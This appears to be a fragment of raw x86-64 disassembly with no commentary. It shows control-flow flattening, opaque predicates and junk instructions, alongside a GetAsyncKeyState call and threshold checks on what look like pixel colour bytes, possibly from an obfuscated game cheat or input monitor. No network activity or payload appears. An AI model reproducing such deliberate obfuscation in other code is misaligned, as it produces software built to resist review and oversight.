cmp ebx, 0x6308a265
jg 0x1404b607d
cmp ebx, 0x62b68f3c
jg 0x1404b63cb
cmp ebx, 0x5b7b3aa7
je 0x1404b6826
mov edi, ebx
cmp ebx, 0x601fae0d
jne 0x1404b5a60
mov edi, dword [rbp + 0x23c]
jmp 0x1404b5a60
cmp ebx, 0xb3c01a6c
jle 0x1404b5ecd
cmp ebx, 0xb8ba2ea0
jg 0x1404b60d5
cmp ebx, 0xb6a93c88
jg 0x1404b63ef
cmp ebx, 0xb3c01a6d
je 0x1404b6830
mov edi, ebx
cmp ebx, 0xb41cf92d
jne 0x1404b5a60
mov edi, 0xa590ee0c
jmp 0x1404b5a60
cmp ebx, 0x42b6cc24
jle 0x1404b5f0c
cmp ebx, 0x44da55f6
jg 0x1404b6106
cmp ebx, 0x43b6e6d6
jg 0x1404b6424
cmp ebx, 0x42b6cc25
je 0x1404b6841
mov edi, ebx
cmp ebx, 0x42c21285
jne 0x1404b5a60
movzx ebx, byte [rbp + 0x30b]
mov edi, 0x4e424fbd
jmp 0x1404b5a60
cmp ebx, 0x3c98721
jg 0x1404b6137
cmp ebx, 0xfd02ef6c
jg 0x1404b6448
mov edi, dword [rbp + 0x264]
cmp ebx, 0xf9c25105
je 0x1404b5a60
mov edi, ebx
cmp ebx, 0xfb6d4f9b
jne 0x1404b5a60
mov edi, dword [rbp + 0x170]
jmp 0x1404b5a60
cmp ebx, 0x7b9405a5
jg 0x1404b6167
cmp ebx, 0x760f2b05
jg 0x1404b6479
cmp ebx, 0x72c4735a
je 0x1404b6853
mov edi, ebx
cmp ebx, 0x757f22ee
jne 0x1404b5a60
mov edi, 0xcad181a6
jmp 0x1404b5a60
cmp ebx, 0x87060d81
jle 0x1404b61a6
cmp ebx, 0x899d82c3
jg 0x1404b64a4
mov edi, dword [rbp + 0x290]
cmp ebx, 0x87060d82
je 0x1404b5a60
mov edi, ebx
cmp ebx, 0x888228df
jne 0x1404b5a60
mov edx, dword [rbp + 0x328]
cmp edx, 9
mov edi, 0x81a9b203
mov edx, 0x87060d82
jmp 0x1404b6037
cmp ebx, 0x1ec422a5
jle 0x1404b61d5
cmp ebx, 0x21189a92
jg 0x1404b64d6
mov edi, r8d
cmp ebx, 0x1ec422a6
je 0x1404b5a60
mov edi, ebx
cmp ebx, 0x1f770623
jne 0x1404b5a60
mov edi, dword [rbp + 0x1a8]
jmp 0x1404b5a60
cmp ebx, 0xc88e996c
jle 0x1404b6210
cmp ebx, 0xcb2fca1c
jg 0x1404b64fa
mov edi, dword [rbp + 0x258]
cmp ebx, 0xc88e996d
je 0x1404b5a60
mov edi, ebx
cmp ebx, 0xcad181a6
jne 0x1404b5a60
cmp byte [rbp + 0x300], 0
mov edi, 0xac3923cc
mov edx, 0x7dae0212
cmovne edi, edx
jmp 0x1404b5a60
cmp ebx, 0x4e424fbc
jle 0x1404b6240
cmp ebx, 0x59dc647b
jg 0x1404b6525
cmp ebx, 0x4e424fbd
je 0x1404b686c
mov edi, ebx
cmp ebx, 0x54ab22e7
jne 0x1404b5a60
mov edi, 0x8493d803
jmp 0x1404b5a60
cmp ebx, 0xad30486b
jle 0x1404b6270
cmp ebx, 0xafc54823
jg 0x1404b6565
mov edi, ecx
cmp ebx, 0xad30486c
je 0x1404b5a60
mov edi, ebx
cmp ebx, 0xad3aed4c
jne 0x1404b5a60
mov edi, dword [rbp + 0x208]
jmp 0x1404b5a60
cmp ebx, 0x3e2628b3
jle 0x1404b62a0
cmp ebx, 0x3ff2fb67
jg 0x1404b6598
cmp ebx, 0x3e2628b4
je 0x1404b6876
mov edi, ebx
cmp ebx, 0x3e87c708
jne 0x1404b5a60
cmp byte [rbp + 0x198], 0
mov edi, 0x81a9b203
mov edx, 0xf8459fe6
cmovne edi, edx
xor r15d, r15d
jmp 0x1404b5a60
cmp ebx, 0xf567301d
jg 0x1404b65c7
cmp ebx, 0xf0ef6445
je 0x1404b6896
mov edi, ebx
cmp ebx, 0xf513da8a
jne 0x1404b5a60
mov edi, 0x6d41f05a
jmp 0x1404b5a60
cmp ebx, 0x706001e1
jg 0x1404b65f2
cmp ebx, 0x6d3ba0ad
je 0x1404b68a0
mov edi, ebx
cmp ebx, 0x6d41f05a
jne 0x1404b5a60
mov edi, dword [rbp + 0x248]
jmp 0x1404b5a60
cmp ebx, 0xa4d2f320
jg 0x1404b6617
cmp ebx, 0xa43574d7
je 0x1404b68aa
mov edi, ebx
cmp ebx, 0xa4414229
jne 0x1404b5a60
movzx edx, byte [rbp + 0x2c8]
mov edi, 0xdd8786a
jmp 0x1404b5a60
cmp ebx, 0x31795aeb
jg 0x1404b6647
cmp ebx, 0x2bc88f4a
je 0x1404b68be
mov edi, ebx
cmp ebx, 0x2f3af363
jne 0x1404b5a60
cmp r12b, 0x69
mov edx, dword [rbp + 0x338]
mov edi, 0x81a9b203
mov ebx, 0x3ff2fb68
cmovae edi, ebx
cmp edx, 0x32
mov edx, 0x81a9b203
cmovl edi, edx
xor r15d, r15d
jmp 0x1404b5a60
cmp ebx, 0xe85931d1
jg 0x1404b6678
cmp ebx, 0xe40cf046
je 0x1404b6b3b
mov edi, ebx
cmp ebx, 0xe5411852
jne 0x1404b5a60
cmp r11b, 0x78
setae byte [rbp + 0x30e]
mov edi, 0x72c4735a
jmp 0x1404b5a60
cmp ebx, 0x6626dad8
jg 0x1404b66a5
cmp ebx, 0x6308a266
je 0x1404b68d6
mov edi, ebx
cmp ebx, 0x643b7ba4
jne 0x1404b5a60
cmp al, 0x3d
mov edi, 0x366040e6
mov edx, 0x397e3a88
cmovae edi, edx
movzx ebx, byte [rbp + 0x31c]
cmp byte [rbp + 0x335], 0
mov edx, 0x366040e6
cmove edi, edx
test bl, bl
cmove edi, edx
xor r9d, r9d
jmp 0x1404b5a60
cmp ebx, 0xbac801d7
jg 0x1404b66d8
cmp ebx, 0xb8ba2ea1
je 0x1404b6837
mov edi, ebx
cmp ebx, 0xb90af727
jne 0x1404b5a60
mov edi, dword [rbp + 0x284]
jmp 0x1404b5a60
cmp ebx, 0x4762cff3
jg 0x1404b670b
cmp ebx, 0x44da55f7
je 0x1404b68e7
mov edi, ebx
cmp ebx, 0x45ba25aa
jne 0x1404b5a60
mov edi, dword [rbp + 0x220]
jmp 0x1404b5a60
cmp ebx, 0xdd87869
jg 0x1404b673c
cmp ebx, 0x3c98722
je 0x1404b68fe
mov edi, ebx
cmp ebx, 0x5dafc2d
jne 0x1404b5a60
mov edi, 0x899d82c4
jmp 0x1404b5a60
cmp ebx, 0x7dae0211
jg 0x1404b6772
cmp ebx, 0x7b9405a6
je 0x1404b6913
mov edi, ebx
cmp ebx, 0x7b991837
jne 0x1404b5a60
cmp byte [rbp + 0x30f], 0
mov edi, 0xe5411852
mov edx, 0x54ab22e7
cmovne edi, edx
jmp 0x1404b5a60
cmp ebx, 0x8493d802
jg 0x1404b67a5
cmp ebx, 0x81a9b203
jne 0x1404b5a47
mov edx, r15d
and dl, 1
mov byte [rbp + 0x288], dl
mov edi, dword [rbp + 0x1b0]
jmp 0x1404b5a60
cmp ebx, 0x175c1eb0
je 0x1404b691d
cmp ebx, 0x1c4362fd
je 0x1404b692e
mov edi, ebx
cmp ebx, 0x1e360b3e
jne 0x1404b5a60
cmp esi, 0x32
setge byte [rbp + 0x309]
mov edi, dword [rbp + 0x234]
jmp 0x1404b5a60
cmp ebx, 0xc2777481
je 0x1404b6947
cmp ebx, 0xc2d9f29d
je 0x1404b695e
mov edi, ebx
cmp ebx, 0xc4f33240
jne 0x1404b5a60
mov edi, 0xad30486c
jmp 0x1404b5a60
cmp ebx, 0x4b66138b
je 0x1404b6970
cmp ebx, 0x4c2d4eeb
je 0x1404b697a
mov edi, ebx
cmp ebx, 0x4d1a5db3
jne 0x1404b5a60
mov edi, 0x8493d803
jmp 0x1404b5a60
cmp ebx, 0xa7618fd7
je 0x1404b698e
cmp ebx, 0xac3923cc
je 0x1404b699e
mov edi, ebx
cmp ebx, 0xac7f4103
jne 0x1404b5a60
mov edi, 0x42c21285
jmp 0x1404b5a60
mov edi, r10d
cmp ebx, 0x3769d389
je 0x1404b5a60
cmp ebx, 0x397e3a88
je 0x1404b69b4
mov edi, ebx
cmp ebx, 0x3bb14057
jne 0x1404b5a60
cmp byte [rbp + 0x188], 0
mov edi, 0x43b6e6d7
mov edx, 0x48cd5352
cmovne edi, edx
jmp 0x1404b5a60
cmp ebx, 0xefdfc0ad
je 0x1404b69c7
mov edi, ebx
cmp ebx, 0xf014037b
jne 0x1404b5a60
cmp r12b, 0xdd
setae byte [rbp + 0x337]
cmp r12b, 0xff
setne byte [rbp + 0x336]
mov edi, 0x45ba25aa
jmp 0x1404b5a60
cmp ebx, 0x6c2646b5
je 0x1404b69d1
mov edi, ebx
cmp ebx, 0x6cb905f8
jne 0x1404b5a60
cmp r12b, 0x69
setae bl
and bl, byte [rbp + 0x31f]
mov byte [rbp + 0x30c], bl
mov edi, dword [rbp + 0x240]
jmp 0x1404b5a60
cmp ebx, 0x9eadecf2
je 0x1404b69db
mov edi, ebx
cmp ebx, 0x9f9809af
jne 0x1404b5a60
cmp esi, 0x5a
setge byte [rbp + 0x188]
mov edi, 0x3bb14057
jmp 0x1404b5a60
cmp ebx, 0x27337b00
je 0x1404b69f4
mov edi, ebx
cmp ebx, 0x2aaeecf6
jne 0x1404b5a60
mov edi, 0xb90af727
jmp 0x1404b5a60
cmp ebx, 0xd5a68c66
je 0x1404b69fe
mov edi, ebx
cmp ebx, 0xd5c03f2c
jne 0x1404b5a60
mov edi, dword [rbp + 0x244]
jmp 0x1404b5a60
cmp ebx, 0x62b68f3d
je 0x1404b6a1f
mov edi, ebx
cmp ebx, 0x62e019f4
jne 0x1404b5a60
mov edi, 0x428e74fb
jmp 0x1404b5a60
cmp ebx, 0xb6a93c89
je 0x1404b6a38
mov edi, ebx
cmp ebx, 0xb88cb19e
jne 0x1404b5a60
mov edx, dword [rbp + 0x320]
cmp edx, 0xe
mov edi, 0x43b6e6d7
mov edx, 0x9f9809af
cmovl edi, edx
jmp 0x1404b5a60
cmp ebx, 0x43b6e6d7
je 0x1404b5a51
mov edi, ebx
cmp ebx, 0x44091724
jne 0x1404b5a60
mov edi, 0xcfb2ecd9
jmp 0x1404b5a60
cmp ebx, 0xfd02ef6d
je 0x1404b6a4d
mov edi, ebx
cmp ebx, 0x3aa1fdb
jne 0x1404b5a60
mov rdx, qword [rbp + 0x168]
mov dword [rbp + 0x310], edx
mov edi, 0xafc54824
jmp 0x1404b5a60
cmp ebx, 0x760f2b06
je 0x1404b6a66
mov edi, ebx
cmp ebx, 0x7acd106d
jne 0x1404b5a60
movzx edx, byte [rbp + 0x180]
mov edi, 0x43b6e6d7
jmp 0x1404b5a60
mov edi, dword [rbp + 0x158]
cmp ebx, 0x899d82c4
je 0x1404b5a60
mov edi, ebx
cmp ebx, 0x8a437dfe
jne 0x1404b5a60
movzx r13d, byte [rbp + 0x2c4]
mov edi, 0x44da55f7
jmp 0x1404b5a60
cmp ebx, 0x21189a93
je 0x1404b6a77
mov edi, ebx
cmp ebx, 0x21a1fcb2
jne 0x1404b5a60
mov edi, 0xad3aed4c
jmp 0x1404b5a60
mov edi, dword [rbp + 0x2d4]
cmp ebx, 0xcb2fca1d
je 0x1404b5a60
mov edi, ebx
cmp ebx, 0xcfb2ecd9
jne 0x1404b5a60
mov edi, dword [rbp + 0x228]
jmp 0x1404b5a60
cmp ebx, 0x59dc647c
je 0x1404b6a88
mov edi, ebx
cmp ebx, 0x5b5ef33a
jne 0x1404b5a60
cmp r12b, 0x6e
setae dl
mov edi, dword [rbp + 0x2d8]
cmp edi, 0x3c
setge bl
and bl, dl
mov byte [rbp + 0x150], bl
mov edi, dword [rbp + 0x280]
jmp 0x1404b5a60
cmp ebx, 0xafc54824
je 0x1404b6a92
mov edi, ebx
cmp ebx, 0xb3098562
jne 0x1404b5a60
cmp byte [rbp + 0x30d], 0
mov edi, 0x4e424fbd
mov edx, 0x3c98722
cmovne edi, edx
jmp 0x1404b5a60
cmp ebx, 0x3ff2fb68
je 0x1404b6aad
mov edi, ebx
cmp ebx, 0x428e74fb
jne 0x1404b5a60
cmp esi, 0x5a
setge byte [rbp + 0x198]
mov edi, dword [rbp + 0x1b8]
jmp 0x1404b5a60
cmp ebx, 0xf567301e
je 0x1404b6ac0
mov edi, ebx
cmp ebx, 0xf8459fe6
jne 0x1404b5a60
mov dword [rbp + 0x338], r14d
mov edi, 0x2f3af363
jmp 0x1404b5a60
cmp ebx, 0x706001e2
je 0x1404b6ad9
mov edi, ebx
cmp ebx, 0x72086caf
jne 0x1404b5a60
mov edi, dword [rbp + 0x224]
jmp 0x1404b5a60
cmp ebx, 0xa4d2f321
je 0x1404b6aef
mov edi, ebx
cmp ebx, 0xa590ee0c
jne 0x1404b5a60
cmp r11b, 0x78
setae byte [rbp + 0x300]
mov edi, dword [rbp + 0x1c0]
jmp 0x1404b5a60
cmp ebx, 0x31795aec
je 0x1404b6b08
mov edi, ebx
cmp ebx, 0x366040e6
jne 0x1404b5a60
mov ebx, r9d
and bl, 1
mov byte [rbp + 0x178], bl
mov edi, dword [rbp + 0x218]
jmp 0x1404b5a60
cmp ebx, 0xe85931d2
je 0x1404b6b21
mov edi, ebx
cmp ebx, 0xebd7ab61
jne 0x1404b5a60
cmp al, 0x4f
setb byte [rbp + 0x2c4]
mov edi, 0x8a437dfe
jmp 0x1404b5a60
cmp ebx, 0x6626dad9
je 0x1404b6b34
mov edi, ebx
cmp ebx, 0x69049abf
jne 0x1404b5a60
cmp byte [rbp + 0x30c], 0
mov edi, 0x4e424fbd
mov edx, 0x601fae0d
cmovne edi, edx
jmp 0x1404b5a60
cmp ebx, 0xbac801d8
je 0x1404b6b45
mov edi, ebx
cmp ebx, 0xc183b76b
jne 0x1404b5a60
cmp byte [rbp + 0x30a], 0
mov edi, 0x4d1a5db3
mov edx, 0x4762cff4
cmovne edi, edx
jmp 0x1404b5a60
mov edi, dword [rbp + 0x160]
cmp ebx, 0x4762cff4
je 0x1404b5a60
mov edi, ebx
cmp ebx, 0x48cd5352
jne 0x1404b5a60
mov dword [rbp + 0x2d8], r14d
mov edi, 0x1f770623
jmp 0x1404b5a60
cmp ebx, 0xdd8786a
je 0x1404b6b4f
mov edi, ebx
cmp ebx, 0x10405e5c
jne 0x1404b5a60
cmp byte [rbp + 0x278], 0
mov edi, 0x44da55f7
mov edx, 0xebd7ab61
cmovne edi, edx
xor r13d, r13d
jmp 0x1404b5a60
cmp ebx, 0x7dae0212
je 0x1404b6b74
mov edi, ebx
cmp ebx, 0x7e344b5e
jne 0x1404b5a60
cmp byte [rbp + 0x2c0], 0
mov edi, 0x8337efc6
mov edx, 0x22a40a6e
cmovne edi, edx
jmp 0x1404b5a60
cmp ebx, 0x86dfa822
jne 0x1404b6b8a
cmp al, 0x64
setae byte [rbp + 0x180]
mov edi, 0x7acd106d
jmp 0x1404b5a60
cmp dword [rbp + 0x1a0], 0xe
setl byte [rbp + 0x30a]
mov edi, 0xc183b76b
jmp 0x1404b5a60
cmp byte [rbp + 0x2b4], 0
mov edi, 0xcb2fca1d
mov edx, 0xb6a93c89
cmovne edi, edx
jmp 0x1404b5a60
mov edi, 0x1e360b3e
jmp 0x1404b5a60
cmp r11b, 0xbe
setae byte [rbp + 0x2fc]
mov edi, 0xa4d2f321
jmp 0x1404b5a60
movzx r9d, byte [rbp + 0x334]
mov edi, 0x366040e6
jmp 0x1404b5a60
mov edi, 0xa43574d7
jmp 0x1404b5a60
movzx edx, byte [rbp + 0x2b8]
mov edi, 0x8493d803
jmp 0x1404b5a60
movzx r15d, byte [rbp + 0x190]
mov edi, 0x81a9b203
jmp 0x1404b5a60
cmp byte [rbp + 0x30e], 0
mov edi, 0xecad30ca
mov edx, 0x3aa1fdb
cmovne edi, edx
jmp 0x1404b5a60
mov edi, 0x8493d803
jmp 0x1404b5a60
cmp r11b, 0x3d
setae byte [rbp + 0x31c]
cmp r11b, 0x5a
setb byte [rbp + 0x335]
mov edi, 0x643b7ba4
jmp 0x1404b5a60
mov edi, 0xd5c03f2c
jmp 0x1404b5a60
mov edi, 0xc4f33240
jmp 0x1404b5a60
cmp al, 0x69
setae byte [rbp + 0x30b]
mov edi, dword [rbp + 0x238]
jmp 0x1404b5a60
movzx edx, byte [rbp + 0x337]
movzx edx, byte [rbp + 0x336]
mov edi, 0xd5a68c66
jmp 0x1404b5a60
mov byte [rbp + 0x2c0], 0
mov edi, 0xc88e996d
jmp 0x1404b5a60
mov edx, r13d
and dl, 1
mov byte [rbp + 0x2b8], dl
mov edi, dword [rbp + 0x20c]
jmp 0x1404b5a60
cmp r14d, 0x32
setge byte [rbp + 0x31f]
mov edi, 0x1ec422a6
jmp 0x1404b5a60
mov edi, 0x3769d389
jmp 0x1404b5a60
movzx edx, byte [rbp + 0x31f]
mov edi, 0x6cb905f8
jmp 0x1404b5a60
cmp byte [rbp + 0x31e], 0
mov edi, 0xe40cf046
mov edx, 0x3e2628b4
cmovne edi, edx
jmp 0x1404b5a60
movzx edx, byte [rbp + 0x274]
mov byte [rbp + 0x308], dl
mov edi, 0xfd02ef6d
jmp 0x1404b5a60
mov byte [rbp + 0x31d], 0
mov edi, dword [rbp + 0x22c]
jmp 0x1404b5a60
mov edi, 0xc2d9f29d
jmp 0x1404b5a60
cmp esi, 0x3c
setge byte [rbp + 0x30d]
mov edi, 0xb3098562
jmp 0x1404b5a60
mov edx, dword [rbp + 0x2d8]
mov edi, 0x5b5ef33a
jmp 0x1404b5a60
mov edx, dword [rbp + 0x26c]
mov dword [rbp + 0x320], edx
mov edi, 0xb88cb19e
jmp 0x1404b5a60
cmp al, 0x5a
setb byte [rbp + 0x334]
mov edi, 0xd05afbbc
jmp 0x1404b5a60
mov edi, 0x706001e2
jmp 0x1404b5a60
mov edi, 0x3e87c708
jmp 0x1404b5a60
cmp byte [rbp + 0x309], 0
mov edi, 0x4d1a5db3
mov edx, 0xc2777481
cmovne edi, edx
jmp 0x1404b5a60
mov edi, 0xed83767d
jmp 0x1404b5a60
movzx ebx, byte [rbp + 0x337]
and bl, byte [rbp + 0x336]
and bl, 1
mov byte [rbp + 0x31e], bl
mov edi, dword [rbp + 0x21c]
jmp 0x1404b5a60
cmp byte [rbp + 0x31d], 0
mov edi, 0x21189a93
mov edx, 0xf014037b
cmovne edi, edx
jmp 0x1404b5a60
cmp r11b, 0xf1
setae byte [rbp + 0x2c8]
mov edi, 0xf9c25105
jmp 0x1404b5a60
cmp byte [rbp + 0x308], 0
mov edi, 0x4d1a5db3
mov edx, 0xe85931d2
cmovne edi, edx
jmp 0x1404b5a60
movzx edx, byte [rbp + 0x288]
mov edi, 0x8493d803
jmp 0x1404b5a60
mov byte [rbp + 0x260], 0
mov edi, 0x31795aec
jmp 0x1404b5a60
mov edi, 0x8493d803
jmp 0x1404b5a60
mov edi, dword [rbp + 0x310]
cmp edi, 9
mov edi, 0x4e424fbd
mov edx, 0x4c2d4eeb
cmovl edi, edx
jmp 0x1404b5a60
cmp al, 0x69
setae byte [rbp + 0x190]
mov edi, 0x42b6cc25
jmp 0x1404b5a60
cmp byte [rbp + 0x150], 0
mov edi, 0x43b6e6d7
mov edx, 0x86dfa822
cmovne edi, edx
jmp 0x1404b5a60
cmp r11b, 0xbe
setae byte [rbp + 0x30f]
mov edi, dword [rbp + 0x24c]
jmp 0x1404b5a60
cmp byte [rbp + 0x2fc], 0
mov edi, 0xfb6d4f9b
mov edx, 0x59dc647c
cmovne edi, edx
jmp 0x1404b5a60
cmp byte [rbp + 0x260], 0
mov edi, 0x6308a266
mov edx, 0xd4be71bf
cmovne edi, edx
jmp 0x1404b5a60
cmp al, 0x64
setae byte [rbp + 0x307]
mov edi, 0x24fba9d4
jmp 0x1404b5a60
movzx ebx, byte [rbp + 0x178]
mov edi, 0x8493d803
jmp 0x1404b5a60
mov edi, 0x9eadecf2
jmp 0x1404b5a60
cmp al, 0x3d
setae bl
cmp r11b, 0xff
setne dl
and dl, byte [rbp + 0x2c8]
and dl, bl
mov byte [rbp + 0x278], dl
mov edi, dword [rbp + 0x210]
jmp 0x1404b5a60
mov edx, dword [rbp + 0x268]
mov dword [rbp + 0x328], edx
mov edi, 0x888228df
jmp 0x1404b5a60
mov edi, ebx
cmp ebx, 0x8493d803
jne 0x1404b5a60
mov eax, 0x487f9b1d
jmp 0x1404b86da
cmp byte [rbp + 0x1f2], 0
mov eax, 0x3195c710
mov ecx, 0xd9e3376b
cmovne eax, ecx
jmp 0x1404ac53d
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x27c]
mov eax, dword [rbp + 0x27c]
mov eax, 0x9d333124
jmp 0x1404ac53d
mov ecx, dword [0x140ae7d74]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r10d, 0xee54680f
add rsp, 0x20
mov byte [rbp + 0x1fc], 0
mov eax, 0x1fd14e84
jmp 0x1404ac53d
cmp dword [rbp + 0x14c], 0
mov eax, 0xb4a17d7f
mov ecx, 0x1b93c969
cmovle eax, ecx
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e7a1a7
mov ecx, 0x2728fe49
jmp 0x1404ac530
mov eax, 0xdea5218a
jmp 0x1404ac53d
cmp byte [rbp + 0x1fa], 0
mov eax, 0xb29a0560
mov ecx, 0xc96d5ec0
cmovne eax, ecx
jmp 0x1404ac53d
mov al, byte [rbp + 0x2aa]
mov byte [rbp + 0x29d], al
cmp dword [rbp + 0xb0], 0
mov eax, 0x8c1573e4
mov ecx, 0xd6dbf85a
cmove eax, ecx
mov cl, byte [rbp + 0x29d]
mov byte [rbp + 0x2a9], cl
jmp 0x1404ac53d
lea rax, [rbp + 0xf0]
mov qword [rbp - 0x40], rax
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9afa24eb
mov ecx, 0x1918fadc
jmp 0x1404ac530
mov al, byte [rbp + 0x2b2]
mov byte [rbp + 0x2a3], al
cmp dword [rbp + 0xc0], 0
mov eax, 0x7cac7fa0
mov ecx, 0x753a5e78
cmove eax, ecx
mov cl, byte [rbp + 0x2a3]
mov byte [rbp + 0x2b1], cl
jmp 0x1404ac53d
mov dword [0x140ae7ab0], 0
mov eax, 0xc8ad6a68
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8f0a905e
mov ecx, 0xa6b97cc8
jmp 0x1404ac530
mov dword [0x140ae7d78], 0x12
mov eax, 0xb9b1551d
jmp 0x1404ac53d
cmp byte [rbp + 0x1f7], 0
mov eax, 0x7c67bfc2
mov ecx, 0xa609c6d5
cmovne eax, ecx
jmp 0x1404ac53d
mov eax, 0x21b508c9
jmp 0x1404ac53d
mov al, byte [rbp + 0x2a7]
and al, 1
mov byte [rbp + 0x1ff], al
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeb7c10d6
mov ecx, 0x769f9640
jmp 0x1404ac530
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd5888b56
mov ecx, 0xb9b1551d
jmp 0x1404ac530
mov eax, 0xe41465db
jmp 0x1404ac53d
mov rax, qword [rbp + 0x130]
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
xorps xmm0, xmm0
cvtsi2ss xmm0, dword [0x140ae7ab0]
xorps xmm1, xmm1
cvtsi2ss xmm1, dword [0x140ae7aac]
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x320], rax
add rax, 4
mov ecx, 0xe8b13a1e
nop word cs:[rax + rax]
nop
cmp ecx, 0xe8b13a1d
jle 0x1404b6e50
cmp ecx, 0x3cf96e32
je 0x1404b6e65
cmp ecx, 0xef5ea6e1
je 0x1404b6e77
cmp ecx, 0xe8b13a1e
jne 0x1404b6e10
mov rcx, qword [rbp + 0x320]
movss dword [rcx], xmm1
mov qword [rbp + 0x2d8], rax
mov ecx, 0xdce2d48c
jmp 0x1404b6e10
cmp ecx, 0xdce2d48c
je 0x1404b6e9d
cmp ecx, 0xe481fd3d
jne 0x1404b6e10
jmp 0x1404b9db7
mov rcx, qword [rbp + 0x2d8]
movss dword [rcx], xmm0
mov ecx, 0xef5ea6e1
jmp 0x1404b6e10
mov rcx, qword [rbp + 0x2d8]
movss dword [rcx], xmm0
mov ecx, dword [0x140ae0d70]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x3cf96e32
mov edx, 0xe481fd3d
jmp 0x1404b6eb6
mov ecx, dword [0x140ae0d70]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x3cf96e32
mov edx, 0xef5ea6e1
cmove ecx, edx
cmp dword [0x140ae0d74], 0xa
cmovl ecx, edx
jmp 0x1404b6e10
mov al, byte [rbp + 0x2b3]
mov byte [rbp + 0x2a4], al
mov eax, dword [rbp + 0xb8]
mov dword [rbp + 0x1e0], eax
mov eax, dword [rbp + 0x254]
mov ecx, dword [rbp + 0x1e0]
cmp ecx, eax
mov eax, 0x1d16c9d8
mov ecx, 0x3314a20b
cmovl eax, ecx
jmp 0x1404ac53d
mov eax, 0xc5878267
jmp 0x1404ac53d
mov dword [0x140ae7d74], 5
mov eax, 0x37563f93
jmp 0x1404ac53d
mov eax, 0xdb91c891
jmp 0x1404ac53d
mov al, byte [0x140ae7d88]
mov byte [rbp + 0x1fd], al
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb8ae5029
mov ecx, 0xf850493
jmp 0x1404ac530
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xef1f9a0f
mov ecx, 0xfaa62cea
jmp 0x1404ac530
ucomiss xmm12, dword [rbp + 0x20]
setnp al
sete cl
test cl, al
mov eax, 0x2ccf8084
mov ecx, 0x475d1dd
cmovne eax, ecx
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xee491a9d
mov ecx, 0x2f9d4fab
jmp 0x1404ac530
mov eax, 0x199bb39b
jmp 0x1404ac53d
test byte [rbp + 0x2b0], 1
mov eax, 0x81132a0
mov ecx, 0xfd14d78d
cmove eax, ecx
jmp 0x1404ac53d
mov eax, 0x67fd7da
jmp 0x1404ac53d
mov eax, 0x3bf30699
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6f8b5f83
mov ecx, 0x8fac6c43
jmp 0x1404ac530
mov eax, 0x9407bcf8
jmp 0x1404ac53d
cmp byte [rbp + 0x1f0], 0
mov eax, 0x859dc413
mov ecx, 0xe9ddce06
cmovne eax, ecx
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x77bb594d
mov ecx, 0xffffb0e9
jmp 0x1404ac530
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd2ae0fb3
mov ecx, 0x2c2cdc13
jmp 0x1404ac530
mov al, byte [rbp + 0x2a1]
mov byte [rbp + 0x2ad], al
mov eax, 0x9308c331
jmp 0x1404ac53d
mov dword [0x140ae7d78], 2
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x82620427
mov ecx, 0x8277d0a3
jmp 0x1404ac530
mov rax, qword [rbp - 0x38]
mov eax, 0xde5baf9a
jmp 0x1404ac53d
cmp byte [rbp + 0x1f3], 0
mov eax, 0xc90ab85f
mov ecx, 0xf82249f5
cmovne eax, ecx
jmp 0x1404ac53d
mov eax, dword [0x140ae9588]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x21ef60d8
mov ecx, 0x7c1ad295
jmp 0x1404ac530
mov dword [0x140ae7d90], 0xa
mov eax, 0x59405bb4
jmp 0x1404ac53d
movzx r10d, byte [rbp + 0x1f8]
mov rcx, qword [rbp + 0x78]
movzx ecx, byte [rcx + 1]
mov rdx, qword [rbp + 0x78]
movzx r12d, byte [rdx + 2]
cmp r12d, 0x6e
setae r8b
mov edi, dword [0x140ae95a0]
lea esi, [rdi - 1]
imul esi, edi
test sil, 1
sete bl
cmp dword [0x140ae95a4], 0xa
setl r9b
or r9b, bl
mov edi, r12d
sub edi, r10d
mov eax, r10d
sub eax, ecx
mov edx, r12d
sub edx, ecx
mov ebx, edi
neg ebx
mov esi, edi
cmovge esi, ebx
mov dword [rbp + 0x280], esi
mov esi, edx
lea edx, [rdi + 0x5bd633db]
sub edx, 0x5bd633db
cmovb edx, ebx
mov dword [rbp + 0x1a8], edx
mov edx, r12d
add edx, 0xffffff0f
mov dword [rbp + 0x284], edx
mov dword [rbp + 0x290], eax
cmp eax, 0x3c
setge al
and al, r8b
mov byte [rbp + 0x1b0], al
lea eax, [rdi + 0x3285dbe0]
sub eax, 0x3285dbe0
cmovb eax, ebx
mov dword [rbp + 0x1b8], eax
add edi, 0xfff3dde0
sub edi, 0xfff3dde0
cmovb edi, ebx
mov qword [rbp + 0x1a0], rdi
test r9b, r9b
mov eax, 0xa7618fd7
mov edx, 0xf567301e
cmovne eax, edx
